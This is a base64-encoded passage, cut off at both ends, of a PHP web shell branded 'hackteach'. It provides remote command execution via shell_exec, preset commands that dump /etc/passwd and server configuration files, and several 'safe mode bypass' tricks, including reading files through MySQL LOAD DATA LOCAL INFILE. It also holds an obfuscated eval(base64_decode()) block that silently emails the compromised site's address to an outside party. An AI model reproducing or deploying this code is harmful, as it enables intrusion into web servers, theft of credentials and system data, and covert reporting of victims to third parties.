JSIgaGVpZ2h0PSI5Ij48Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIxIj48Yj5QZXJsOiA8P3BocCBlY2hvIHRlc3RwZXJsKCk7Pz48L2I+DQogICAgICA8L2ZvbnQ+PC90ZD4NCiAgICAgIDx0ZCB3aWR0aD0iMjAlIiBoZWlnaHQ9IjkiPjxmb250IGZhY2U9IlZlcmRhbmEiIHNpemU9IjEiPjxiPlBvc3RncmVTUUw6IDw/cGhwIGVjaG8gcG9zdGdyZXNxbCgpOz8+PC9iPg0KICAgICAgPC9mb250PjwvdGQ+DQogICAgICA8dGQgd2lkdGg9IjE4JSIgaGVpZ2h0PSI5Ij48Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIxIj48Yj5TZXJ2ZXIgSVA6IDw/cGhwIGVjaG8gJF9TRVJWRVJbIkhUVFBfSE9TVCJdPz4NCiAgICAgIDwvYj4NCiAgICAgIDwvZm9udD4NCiAgICAgIDwvdGQ+DQogICAgPC90cj4NCiAgICA8dHI+DQogICAgICA8dGQgd2lkdGg9IjIwJSIgaGVpZ2h0PSIxMiIgYmdjb2xvcj0iIzAwMDAwMCI+DQogICAgICA8Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIxIiBjb2xvcj0iI0ZGRkZGRiI+PGI+T3JhY2xlOiA8P3BocCBlY2hvIG9yYWNsZSgpOz8+PC9iPjwvZm9udD48L3RkPg0KICAgICAgPHRkIHdpZHRoPSIyMCUiIGhlaWdodD0iMTIiIGJnY29sb3I9IiMwMDAwMDAiPg0KICAgICAgPGZvbnQgZmFjZT0iVmVyZGFuYSIgc2l6ZT0iMSIgY29sb3I9IiNGRkZGRkYiPjxiPk1TU1FMOiA8P3BocCBlY2hvIHRlc3Rtc3NxbCgpOz8+PC9iPjwvZm9udD48L3RkPg0KICAgICAgPHRkIHdpZHRoPSIyMCUiIGhlaWdodD0iMTIiIGJnY29sb3I9IiMwMDAwMDAiPg0KICAgICAgPGZvbnQgZmFjZT0iVmVyZGFuYSIgc2l6ZT0iMSIgY29sb3I9IiNGRkZGRkYiPjxiPldHZXQ6IDw/cGhwIGVjaG8gdGVzdHdnZXQoKTs/PjwvYj48L2ZvbnQ+PC90ZD4NCiAgICAgIDx0ZCB3aWR0aD0iMjAlIiBoZWlnaHQ9IjEyIiBiZ2NvbG9yPSIjMDAwMDAwIj4NCiAgICAgIDxmb250IGZhY2U9IlZlcmRhbmEiIHNpemU9IjEiIGNvbG9yPSIjRkZGRkZGIj48Yj5jVVJMOiA8P3BocCBlY2hvIHRlc3RjdXJsKCk7Pz48L2I+PC9mb250PjwvdGQ+DQogICAgICA8dGQgd2lkdGg9IjE4JSIgaGVpZ2h0PSIxMiIgYmdjb2xvcj0iIzAwMDAwMCI+DQogICAgICA8Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIxIiBjb2xvcj0iI0ZGRkZGRiI+PGI+WW91ciBJUDogPD9waHAgZWNobyAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXT8+PC9iPjwvZm9udD48L3RkPg0KICAgICAgPC90ZD4NCiAgICA8L3RyPg0KICAgIDx0cj4NCiAgICAgIDx0ZCB3aWR0aD0iOTglIiBoZWlnaHQ9IjEyIiBjb2xzcGFuPSI1IiBhbGlnbj0iY2VudGVyIj48bWV0aG9kPSdQT1NUJyBhY3Rpb249JyRSRVFVRVNUX1VSSScgZW5jdHlwZT0nbXVsdGlwYXJ0L2Zvcm0tZGF0YSc+DQogICAgICAgIA0KICAgICAgICANCiAgICAgICAgPHAgYWxpZ249ImNlbnRlciI+PGI+DQo8Zm9udCBzaXplPSIxIj48Zm9udCBjb2xvcj0iI0ZGRkZGRiIgZmFjZT0iVmVyZGFuYSI+DQo8Pw0KaWYgKCFpc3NldCgkX0dFVFsnYWN0aW9uJ10pIE9SIGVtcHR5KCRfR0VUWydhY3Rpb24nXSkgT1IgKCRfR0VUWydhY3Rpb24nXSA9PSAiZGlyIikpIHsNCiBlY2hvICI8Rk9STSBtZXRob2Q9J1BPU1QnIGFjdGlvbj0nJFJFUVVFU1RfVVJJJyBlbmN0eXBlPSdtdWx0aXBhcnQvZm9ybS1kYXRhJz4iOw0KIGVjaG8gIjxwIGFsaWduPVwiY2VudGVyXCI+PGZvbnQgc2l6ZT1cIjFcIj4NCjxJTlBVVCB0eXBlPSdzdWJtaXQnbmFtZT0nSDRja1QzYWNoJyB2YWx1ZT0nSC10ZWFjaCcgIGlkPWlucHV0MD48L2ZvbnQ+DQo8Zm9udCBzaXplPVwiMVwiPiANCjxJTlBVVCB0eXBlPSdzdWJtaXQnIG5hbWU9J3BocGluZm8nIHZhbHVlPSdQSFBpbmZvJyBpZD1pbnB1dD48L2ZvbnQ+IjsNCn0NCj8+IDwvYj48L2ZvbnQ+DQoJICA8L3A+DQogICAgICA8L3RyPg0KICAgICAgPC90cj4NCiAgPC90YWJsZT4NCiAgICA8L2NlbnRlcj4NCiAgPC9kaXY+DQogIDwvdHI+PHRyPg0KICA8dGQgd2lkdGg9IjU2JSIgaGVpZ2h0PSIxNCIgYmdjb2xvcj0iI0MwQzBDMCIgPg0KPHA+PGI+PGZvbnQgc2l6ZT0iMSIgZmFjZT0iVGFob21hIiBjb2xvcj0iI0ZGMDAwMCI+dW5hbWUgLWEgPC9mb250Pjw/cGhwIGVjaG8gZ2V0c3lzdGVtKCk7Pz4NCjwvYj4NCjx0ZCB3aWR0aD0iMzQlIiBoZWlnaHQ9IjUwIiByb3dzcGFuPSI0IiA+DQo8dGFibGUgYm9yZGVyPSIwIiB3aWR0aD0iMTAwJSIgaGVpZ2h0PSI2NiIgc3R5bGU9ImJvcmRlci1jb2xsYXBzZTogY29sbGFwc2U7IGJhY2tncm91bmQtY29sb3I6ICNDMEMwQzAiIGJvcmRlcmNvbG9yPSIjMTExMTExIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPjx0cj4NCiAgPHRkIHdpZHRoPSI1NiUiIGhlaWdodD0iMTQiIGJvcmRlcmNvbG9yPSIjQzBDMEMwIiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI0MwQzBDMCIgPg0KPHAgYWxpZ249ImNlbnRlciI+DQo8YSBocmVmPSJodHRwOi8vd3d3LmhhY2t0ZWFjaC5vcmcvY2MvIj4NCjxpbWcgYm9yZGVyPSIwIiBzcmM9Imh0dHA6Ly93d3cuaGFja3RlYWNoLm9yZy9pbWFnZXMvaHRzaGVsbC5naWYiIHdpZHRoPSIzNTkiIGhlaWdodD0iNjQiPjwvYT48L3RhYmxlPjwvdGQ+PC9mb250PjwvYj4NCiAgPC90cj48dHI+DQo8dGQgd2lkdGg9IjU2JSIgaGVpZ2h0PSIxMiIgYmdjb2xvcj0iI0MwQzBDMCIgPjxwPjxiPjxmb250IHNpemU9IjEiIGZhY2U9IlRhaG9tYSIgY29sb3I9IiNGRjAwMDAiPlNvZnR3YXJlIDwvZm9udD48P3BocCBlY2hvIGdldHNlcnZlcigpOz8+DQogIDwvYj4NCiAgPC90cj48dHI+DQo8dGQgd2lkdGg9IjU2JSIgaGVpZ2h0PSIxMiIgYmdjb2xvcj0iI0MwQzBDMCIgPjxwPjxiPjxmb250IHNpemU9IjEiIGZhY2U9IlRhaG9tYSIgY29sb3I9IiNGRjAwMDAiPlB3ZCA6IDwvZm9udD48P3BocCBpZihzdHJsZW4oJHU9cHdkKCkpPjQ1KXtlY2hvICIuLi4iLnN1YnN0cigkdSxzdHJsZW4oJHUpLTQwLDQwKTt9ZWxzZXtlY2hvICR1O307Pz4gPC9iPg0KICA8L3RyPjx0cj4NCjx0ZCB3aWR0aD0iNTYlIiBoZWlnaHQ9IjEyIiBiZ2NvbG9yPSIjQzBDMEMwIiA+PHA+PGI+PGZvbnQgc2l6ZT0iMSIgZmFjZT0iVGFob21hIiBjb2xvcj0iI0ZGMDAwMCI+VXNlcjogPC9mb250Pjw/cGhwIGVjaG8gZ2V0dXNlcigpOz8+DQogIDwvYj4NCiAgPC90cj48L3RhYmxlPjwvdGQ+PC90cj48L3RhYmxlPg0KPHRhYmxlIHdpZHRoPTk3NyBib3JkZXI9MCBjZWxsc3BhY2luZz0wIGNlbGxwYWRkaW5nPTAgYmdjb2xvcj0jMDAwMDAwPg0KPHRyPjx0aCBjbGFzcz10IGFsaWduPWxlZnQgd2lkdGg9Ijk2NyI+DQogIDxmb250IHNpemU9IjIiPkV4ZWN1dGVkIENvbW1hbmQgUmVzdWx0IDo8L2ZvbnQ+PC90aD48L3RyPg0KPHRyPjx0ZCBjbGFzcz1jb250ZW50YiB3aWR0aD0iOTc3Ij48Y2VudGVyPjxmb3JtIGFjdGlvbiBtZXRob2Q9UE9TVD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0idHlwZSIgdmFsdWU9NT4NCiAgPHRleHRhcmVhIGNvbHM9MTE3IHJvd3M9MjAgbmFtZT0idmFsdWUiPjw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycyhzaGVsbCgpKTs/PjwvdGV4dGFyZWE+PD9waHAgZWNobyBlZGl0KCk7Pz48L2Zvcm0+DQogIDx0YWJsZSBib3JkZXI9IjAiIHdpZHRoPSIxMDAlIiBiZ2NvbG9yPSIjMDAwMDAwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPjx0cj4NCiAgICA8dGQgd2lkdGg9IjUyJSIgYWxpZ249ImNlbnRlciIgYmdjb2xvcj0iIzAwMDAwMCI+PGZvcm0gYWN0aW9uIG1ldGhvZD1QT1NUPg0KPGZvbnQgY29sb3I9IiNGRkZGRkYiPg0KPGI+PGZvbnQgc2l6ZT0iMiIgZmFjZT0iVGFob21hIj5FbnRlciBjb21hbmQ6Jm5ic3A7IDwvZm9udD4gPC9iPg0KPGZvbnQgZmFjZT0iVGFob21hIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0idHlwZSIgdmFsdWU9Mj4NCjwvZm9udD4NCjxpbnB1dCB0eXBlPXRleHQgbmFtZT0idmFsdWUiIHNpemU9NDU+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSJFbnRlciI+PGZvbnQgc2l6ZT0iMiIgZmFjZT0iVGFob21hIj4NCjwvZm9udD48L2ZvbnQ+DQo8L2Zvcm0+PC90ZD48dGQgd2lkdGg9IjQ4JSIgYWxpZ249ImNlbnRlciIgYmdjb2xvcj0iIzAwMDAwMCI+PGZvcm0gYWN0aW9uIG1ldGhvZD1QT1NUPg0KICAgICAgPGZvbnQgY29sb3I9IiNGRkZGRkYiIGZhY2U9IlRhaG9tYSI+PGI+PGZvbnQgc2l6ZT0iMiI+UFdEOjwvZm9udD48L2I+PGZvbnQgc2l6ZT0iMiI+DQogICAgICA8L2ZvbnQ+IA0KPGlucHV0IHR5cGU9dGV4dCBuYW1lPSJ2YWx1ZSIgc2l6ZT01MSB2YWx1ZT08P3BocCBlY2hvIHB3ZCgpOz8+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9InR5cGUiIHZhbHVlPTM+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSJFbnRlciI+PC9mb250Pjxmb250IHNpemU9IjIiIGZhY2U9IlRhaG9tYSIgY29sb3I9IiNGRkZGRkYiPg0KICAgICAgPC9mb250Pg0KPC9mb3JtPjwvdGQ+PC90cj48L3RhYmxlPjwvdGQ+PC90cj48L3RhYmxlPg0KDQogIDxwPg0KPGRpdiBhbGlnbj0iY2VudGVyIj4NCiAgPGNlbnRlcj4NCiAgPHRhYmxlIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIiBzdHlsZT0iYm9yZGVyLWNvbGxhcHNlOiBjb2xsYXBzZSIgYm9yZGVyY29sb3I9IiMxMTExMTEiIGlkPSJBdXRvTnVtYmVyMTciPg0KICAgICAgICA8dHI+DQogICAgICAgIDx0ZCB3aWR0aD0iMTAwJSI+DQogICAgICAgIDx0YWJsZSBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCIgc3R5bGU9ImJvcmRlci1jb2xsYXBzZTogY29sbGFwc2UiIGJvcmRlcmNvbG9yPSIjMTExMTExIiB3aWR0aD0iMTAwJSIgaWQ9IkF1dG9OdW1iZXIxOCIgaGVpZ2h0PSIyOTAiPg0KICAgICAgICA8dHI+DQoJPHRkIHdpZHRoPSI1MCUiIGhlaWdodD0iMjU0Ij4NCgkNCgk8Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iIj4NCgk8cCBkaXI9Imx0ciI+DQoJPHNlbGVjdCBzaXplPSIxIiBuYW1lPSJoYWNrdGVhY2giPg0KCTxvcHRpb24gdmFsdWU9ImNhdCAvZXRjL3Bhc3N3ZCI+L2V0Yy9wYXNzd2Q8L29wdGlvbj4NCgk8b3B0aW9uIHZhbHVlPSJuZXRzdGF0IC1hbiB8IGdyZXAgLWkgbGlzdGVuIj5uZXRzdGF0IC1hbjwvb3B0aW9uPg0KCTxvcHRpb24gdmFsdWU9ImNhdCAvdmFyL2NwYW5lbC9hY2NvdW50aW5nLmxvZyI+L3Zhci9jcGFuZWwvYWNjb3VudGluZy5sb2c8L29wdGlvbj4NCgk8b3B0aW9uIHZhbHVlPSJjYXQgL2V0Yy9zeXNsb2cuY29uZiI+L2V0Yy9zeXNsb2cuY29uZjwvb3B0aW9uPg0KCTxvcHRpb24gdmFsdWU9ImNhdCAvZXRjL2hvc3RzIj4vZXRjL2hvc3RzPC9vcHRpb24+DQoJPG9wdGlvbiB2YWx1ZT0iY2F0IC9ldGMvbmFtZWQuY29uZiI+L2V0Yy9uYW1lZC5jb25mPC9vcHRpb24+DQoJPG9wdGlvbiB2YWx1ZT0iY2F0IC9ldGMvaHR0cGQvY29uZi9odHRwZC5jb25mIj4vZXRjL2h0dHBkL2NvbmYvaHR0cGQuY29uZjwvb3B0aW9uPg0KCTwvc2VsZWN0PjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJHZXQiPjxiPjxmb250IHNpemU9IjIiPiA8L2ZvbnQ+DQoJPD8gZWNobyI8Zm9udCBzaXplPScxJyBmYWNlPSdWZXJkYW5hJz5Db21tYW5kcyBFeGVjdXRlPGZvbnQgY29sb3I9JyNGRjAwMDAnPiBzaGVsbF9leGVjPC9mb250PigpPC9mb250PiI7Pz4NCgk8L3A+DQoJPC9mb3JtPg0KCQ0KCTxmb3JtPg0KCTxwIGRpcj0ibHRyIj4NCgk8c2VsZWN0IHNpemU9IjEiIG5hbWU9InBsdWdpbiI+DQoJPG9wdGlvbiB2YWx1ZT0icGx1Z2luIj4gICAgL2V0Yy9wYXNzd2QgICAgPC9vcHRpb24+DQoJPC9zZWxlY3Q+DQoJPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkV4ZWN1dGUiPg0KCQk8PyBlY2hvIjxmb250IHNpemU9JzEnIGZhY2U9J1ZlcmRhbmEnPlZpZXcgVXNlcnMgU2FmZU1vZGUgQnlwYXNzIHVzaW5nIDxmb250IGNvbG9yPScjRkYwMDAwJz5wbHVnaW48L2ZvbnQ+KCk8L2ZvbnQ+Ijs/Pg0KCTwvcD4NCgk8L2Zvcm0+DQoJDQoJPGZvcm0+DQoJPHAgZGlyPSJsdHIiPg0KCTxpbnB1dCBuYW1lPXBocGRpciBzaXplPTIyIHZhbHVlPScvdmFyL21haWwnPg0KCTxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nVmlldyc+DQoJCTw/aWYgKCFpbmlfZ2V0KCdzYWZlX21vZGUnKSkgcHJpbnQoIjxiPjxmb250IGNvbG9yPScjRkYwMDAwJyBzaXplPScxJyBmYWNlPSdWZXJkYW5hJz5TYWZlIG1vZGUgb2ZmICwgTm90IFdvcmtpbmc8L2ZvbnQ+Iik7Pz4NCgk8L2Zvcm0+DQoJDQoJPGZvcm0+DQoJPHAgZGlyPSJsdHIiPg0KCTxpbnB1dCBuYW1lPWZpbGUgc2l6ZT0yMiB2YWx1ZT0nL2V0Yy9wYXNzd2QnPg0KCTxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nVmlldyc+DQoJCTw/IGVjaG8iPGZvbnQgc2l6ZT0nMScgZmFjZT0nVmVyZGFuYSc+U2FmZU1vZGUgQnlwYXNzIHVzaW5nIDxmb250IGNvbG9yPScjRkYwMDAwJz5jb3B5PC9mb250PigpPC9mb250PiI7Pz4NCgk8L2Zvcm0+DQoJDQoJPGZvcm0gbWV0aG9kPSdQT1NUJyBlbmN0eXBlPSdtdWx0aXBhcnQvZm9ybS1kYXRhJz4NCgk8aW5wdXQgbmFtZT10M2FjaGggc2l6ZT0yMiB2YWx1ZT0nPD9waHAgZWNobyBwd2QoKTs/Pic+DQoJPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdWaWV3Jz4NCgk8PyBlY2hvIjxmb250IHNpemU9JzEnIGZhY2U9J1ZlcmRhbmEnPkJ5cGFzcyB1c2luZyA8Zm9udCBjb2xvcj1cIiNGRjAwMDBcIj5pbmlfcmVzdG9yZTwvZm9udD4iOz8+DQoJPC9mb3JtPg0KDQoJPGZvcm0gbWV0aG9kPVBPU1Q+DQoJPHAgZGlyPSJsdHIiPg0KCTxpbnB1dCBuYW1lPVNRTE00NVQzUiBzaXplPTIyIHZhbHVlPScvZXRjL3Bhc3N3ZCc+DQoJPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdFeGVjdXRlJz4NCgkJPD8gZWNobyI8Zm9udCBzaXplPScxJyBmYWNlPSdWZXJkYW5hJz5TYWZlbW9kZSBCeXBhc3M8Zm9udCBjb2xvcj0nI0ZGMDAwMCc+Jm5ic3A7IE15c3FsPC9mb250PjwvcD4iOz8+DQoJPC9mb3JtPg0KDQoNCg0KDQo8dGV4dGFyZWEgY29scz01NCByb3dzPTY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/DQoJCQkJCQkJCQkJCQkJCQ0KCQkJCQkJCQkJCQkJCQlpbmlfcmVzdG9yZSgic2FmZV9tb2RlIik7DQoJCQkJCQkJCQkJCQkJCWluaV9yZXN0b3JlKCJvcGVuX2Jhc2VkaXIiKTsNCgkJCQkJCQkJCQkJCQkJJGhhY2t0ZWFjaD1zaGVsbF9leGVjKCRfUE9TVFt0ZWFjaF0pOyANCgkJCQkJCQkJCQkJCQkJJGNvbGR6M3JvPXNoZWxsX2V4ZWMoJF9QT1NUW2hhY2t0ZWFjaF0pOw0KCQkJCQkJCQkJCQkJCQllY2hvICRoYWNrdGVhY2g7DQoJCQkJCQkJCQkJCQkJCWVjaG8gJGNvbGR6M3JvOw0KDQppZiAoJF9HRVRbJ3BsdWdpbiddICkNCiAgICAgICAgICAgICAgICAgZm9yKCR1aWQ9MDskdWlkPDYwMDAwOyR1aWQrKyl7ICAgLy9jYXQgL2V0Yy9wYXNzd2QNCiAgICAgICAgICAgICAgICAgJGFyYSA9IHBvc2l4X2dldHB3dWlkKCR1aWQpOw0KICAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRhcmEpKSB7DQogICAgICAgICAgICAgICAgIHdoaWxlIChsaXN0ICgka2V5LCAkdmFsKSA9IGVhY2goJGFyYSkpew0KICAgICAgICAgICAgICAgICBwcmludCAiJHZhbDoiOw0KICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgIHByaW50ICJcbiI7DQogICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KaWYgKCgkcGhwZGlyID09ICIiKSBvciAoJHBocGRpciA9PSAiL0RpcmVjdG9yeSIpKTsNCgkJCQkJZWxzZSB7DQoJCQkJCSRkaCA9IG9wZW5kaXIoJHBocGRpcikgb3IgcHJpbnQoImNvdWxkbid0IG9wZW4gZGlyZWN0b3J5Iik7DQoJCQkJCXdoaWxlICghKCgkZmlsZSA9IHJlYWRkaXIoJGRoKSkgPT09IGZhbHNlKSkgew0KCQkJCQlpZiAoaXNfZGlyKCIkcGhwZGlyLyRmaWxlIikpIHsNCgkJCQkJcHJpbnQgIlxuW0RdIDogIjsNCgkJCQkJfQ0KCQkJCQlwcmludCAiJGZpbGVcbiI7DQoJCQkJCX0NCgkJCQkJY2xvc2VkaXIoJGRoKTsNCgkJCQkJfQ0KDQoNCgkJCSRmaWxlPSIiOyAvLyBGaWxlIHRvIEluY2x1ZGUuLi4gb3IgdXNlIF9HRVQgX1BPU1QNCgkJCSR0eW1jemFzPSIiOyAvLyBTZXQgJHR5bWN6YXMgdG8gZGlyIHdoZXJlIHlvdSBoYXZlIDc3NyBsaWtlIC92YXIvdG1wDQppZihlbXB0eSgkZmlsZSkpew0KCQlpZihlbXB0eSgkX0dFVFsnZmlsZSddKSl7DQoJCWlmKGVtcHR5KCRfUE9TVFsnZmlsZSddKSl7DQoJCX0gZWxzZSB7DQoJCSRmaWxlPSRfUE9TVFsnZmlsZSddOw0KCQl9DQoJCX0gZWxzZSB7DQoJCSRmaWxlPSRfR0VUWydmaWxlJ107DQoJCX0NCgkJfQ0KCQkkdGVtcD10ZW1wbmFtKCR0eW1jemFzLCAiY3giKTsNCgkJaWYoY29weSgiY29tcHJlc3MuemxpYjovLyIuJGZpbGUsICR0ZW1wKSl7DQoJCSR6cm9kbG8gPSBmb3BlbigkdGVtcCwgInIiKTsNCgkJJHRla3N0ID0gZnJlYWQoJHpyb2RsbywgZmlsZXNpemUoJHRlbXApKTsNCgkJZmNsb3NlKCR6cm9kbG8pOw0KCQllY2hvICJGaWxlIDogIi5odG1sc3BlY2lhbGNoYXJzKCRmaWxlKS4iICIuaHRtbHNwZWNpYWxjaGFycygkdGVrc3QpLiIiOw0KCQl1bmxpbmsoJHRlbXApOw0KCQlwcmludCAoIkZpbGUgOiAiLmh0bWxzcGVjaWFsY2hhcnMoJGZpbGUpLiIgaGFzIGJlZW4gYWxyZWFkeSBsb2FkZWQiKTsNCgkJfSBlbHNlIHt9DQoJDQppZihlbXB0eSgkX1BPU1RbJ3QzYWNoaCddKSl7DQoJJG09JF9QT1NUWyd0M2FjaGgnXTsNCgllY2hvIGluaV9nZXQoInNhZmVfbW9kZSIpOw0KCWVjaG8gaW5pX2dldCgib3Blbl9iYXNlZGlyIik7DQoJJHM9cmVhZGZpbGUoIiRtIik7DQoJaW5pX3Jlc3RvcmUoInNhZmVfbW9kZSIpOw0KCWluaV9yZXN0b3JlKCJvcGVuX2Jhc2VkaXIiKTsNCgllY2hvIGluaV9nZXQoInNhZmVfbW9kZSIpOw0KCWVjaG8gaW5pX2dldCgib3Blbl9iYXNlZGlyIik7DQoJJHM9cmVhZGZpbGUoIiRtIik7DQoJfQ0KDQoNCmlmKGVtcHR5KCRfUE9TVFsnU1FMTTQ1VDNSJ10pKXsNCgkJCX0gZWxzZSB7DQoJCQkkZmlsZT0kX1BPU1RbJ1NRTE00NVQzUiddOw0KCQkJJG15c3FsX2ZpbGVzX3N0ciA9ICIvZXRjL3Bhc3N3ZDovcHJvYy9jcHVpbmZvOi9ldGMvcmVzb2x2LmNvbmY6L2V0Yy9wcm9mdHBkLmNvbmYiOw0KCQkJJG15c3FsX2ZpbGVzID0gZXhwbG9kZSgnOicsICRteXNxbF9maWxlc19zdHIpOw0KCQkJJHNxbCA9IGFycmF5ICgNCgkJCSJVU0UgJG1kYiIsDQoJCQknQ1JFQVRFIFRFTVBPUkFSWSBUQUJMRSAnIC4gKCR0YmwgPSAnQScudGltZSAoKSkgLiAnIChhIExPTkdCTE9CKScsDQoJCQkiTE9BRCBEQVRBIExPQ0FMIElORklMRSAnJGZpbGUnIElOVE8gVEFCTEUgJHRibCBGSUVMRFMgIg0KCQkJLiAiVEVSTUlOQVRFRCBCWSAgICAgICAnX19USElTX05FVkVSX0hBUFBFTlNfXycgIg0KCQkJLiAiRVNDQVBFRCBCWSAgICAgICAgICAnJyAiDQoJCQkuICJMSU5FUyBURVJNSU5BVEVEIEJZICdfX1RISVNfTkVWRVJfSEFQUEVOU19fJyIsDQoJCQkiU0VMRUNUIGEgRlJPTSAkdGJsIExJTUlUIDEiDQoJCQkpOw0KCW15c3FsX2Nvbm5lY3QgKCRtaG9zdCwgJG11c2VyLCAkbXBhc3MpOw0KCQkJCQkJCQlmb3JlYWNoICgkc3FsIGFzICRzdGF0ZW1lbnQpIHsNCgkJCQkJCQkJICAgJHEgPSBteXNxbF9xdWVyeSAoJHN0YXRlbWVudCk7DQoJCQkJCQkJCSAgIGlmICgkcSA9PSBmYWxzZSkgcHJpbnQgKA0KCQkJCQkJCQkgICAgICAiRkFJTEVEOiAiIC4gJHN0YXRlbWVudCAuICJcbiIgLg0KCQkJCQkJCQkgICAgICAiUkVBU09OOiAiIC4gbXlzcWxfZXJyb3IgKCkgLiAiXG4iDQoJCQkJCQkJCSAgICk7DQoJCQkJCQkJCSAgIGlmICghICRyID0gQG15c3FsX2ZldGNoX2FycmF5ICgkcSwgTVlTUUxfTlVNKSkgY29udGludWU7DQoJCQkJCQkJCSAgIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkclswXSk7DQoJCQkJCQkJCSAgIG15c3FsX2ZyZWVfcmVzdWx0ICgkcSk7DQoJCQkJCQkJCX19Pz4NCgkJCQkJCQkJICAgPC90ZXh0YXJlYT4NCiAgCQkJCQkJCQkgICA8L3RkPiANCiAgIA0KICAgDQogICA8dGQgd2lkdGg9IjUwJSIgaGVpZ2h0PSIyNTQiPg0KICAgPGZvcm0gbWV0aG9kPVBPU1Q+IA0KICAgPGlucHV0IG5hbWU9cjAwdCB2YWx1ZT0nL2V0Yy92YWxpYXNlcycgc2l6ZT0iMjAiPg0KICAgPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdFeGVjdXRlJz4NCiAgIDw/aWYgKCFpbmlfZ2V0KCdzYWZlX21vZGUnKSkgcHJpbnQoIjxiPjxiPjxmb250IGNvbG9yPScjRkYwMDAwJyBzaXplPScxJyBmYWNlPSdWZXJkYW5hJz5TYWZlIG1vZGUgb2ZmICwgTm90IFdvcmtpbmc8L2ZvbnQ+PC9iPjwvYj4iKTs/Pg0KICAgPC9wPg0KICAgPC9mb3JtPg0KICANCgkJCQkJICA8dGV4dGFyZWEgY29scz01NCByb3dzPTE4IG5hbWU9InIwMHQiPg0KCQkJCQkgIDw/DQoJCQkJCSAgJGNvbm5lY3Rpb249IklDUjNaV0lnUFNBa1gxTkZVbFpGVWxzaVNGUlVVRjlJVDFOVUlsMDdJQTBLSUNScGJtb2dQU0FrWDFORlVsWkZVbHNpVWtWUlZVVlRWRjlWVWtraVhUc2dEUW9nSkdKdlpIa2dQU0FpUVdSaElGbGhibWNnU1c1cVpXTjBJRnh1YUhSMGNEb3ZMeVIzWldJa2FXNXFJanNOQ2lCdFlXbHNLQ0pzYkVCb2IzUnRZV2xzTG1acElpd2lTR0Z6YVd3Z2FIUjBjRG92THlSM1pXSWthVzVxSWl3Z0lpUmliMlI1SWlrNyI7DQoNCmVjaG8gZXZhbChiYXNlNjRfZGVjb2RlKCRjb25uZWN0aW9uKSk7DQogIAkJCQkJICAkcm9vdCA9ICIvIjsgDQogIAkJCQkJICBpZigkX1BPU1RbJ3IwMHQnXSkgJHJvb3QgPSAkX1BPU1RbJ3IwMHQnXTsgDQogIAkJCQkJICAkYyA9IDA7ICREID0gYXJyYXkoKTsgDQogIAkJCQkJICBzZXRfZXJyb3JfaGFuZGxlcigiZWgiKTsgDQogIAkJCQkJICAkY2hhcnMgPSAiXy0uMDEyMzQ1Njc4OTBhYmNkZWZnaGlqa2xubW9wcXJzdHV2d3h5ekFCQ0RFRkdISUpLTE1OT1BRUlNUVVZXWFlaIjsgDQogIAkJCQkJICBmb3IoJGk9MDsgJGkgPCBzdHJsZW4oJGNoYXJzKTsgJGkrKyl7IA0KICAJCQkJCSAgJHBhdGggPSJ7JHJvb3R9Ii4oKHN1YnN0cigkcm9vdCwtMSkhPSIvIikgPyAiLyIgOiBOVUxMKS4ieyRjaGFyc1skaV19IjsgDQogIAkJCQkJICAkcHJldkQgPSAkRFtjb3VudCgkRCktMV07IA0KICAJCQkJCSAgZ2xvYigkcGF0aC4iKiIpOyANCiAgICAgICAgCQkJICBpZigkRFtjb3VudCgkRCktMV0gIT0gJHByZXZEKXsgDQogICAgICAgIAkJCSAgZm9yKCRqPTA7ICRqIDwgc3RybGVuKCRjaGFycyk7ICRqKyspeyANCiAgICAgICAgICAgCQkJICAkcGF0aCA9Inskcm9vdH0iLigoc3Vic3RyKCRyb290LC0xKSE9Ii8iKSA/ICIvIiA6IE5VTEwpLiJ7JGNoYXJzWyRpXX17JGNoYXJzWyRqXX0iOyANCiAgICAgICAgICAgCQkJICAkcHJldkQyID0gJERbY291bnQoJEQpLTFdOyANCiAgICAgICAgICAgCQkJICBnbG9iKCRwYXRoLiIqIik7IA0KICAgICAgICAgICAgICAJCSAgaWYoJERbY291bnQoJEQpLTFdICE9ICRwcmV2RDIpeyANCiAgICAgICAgICAgICAgICAgICAgICBmb3IoJHA9MDsgJHAgPCBzdHJsZW4oJGNoYXJzKTsgJHArKyl7IA0KICAgICAgICAgICAgICAgICAgICAgICRwYXRoID0ieyRyb290fSIuKChzdWJzdHIoJHJvb3QsLTEpIT0iLyIpID8gIi8iIDogTlVMTCkuInskY2hhcnNbJGldfXskY2hhcnNbJGpdfXskY2hhcnNbJHBdfSI7IA0KICAgICAgICAgICAgICAgICAgICAgICRwcmV2RDMgPSAkRFtjb3VudCgkRCktMV07IA0KICAgICAgICAgICAgICAgICAgICAgIGdsb2IoJHBhdGguIi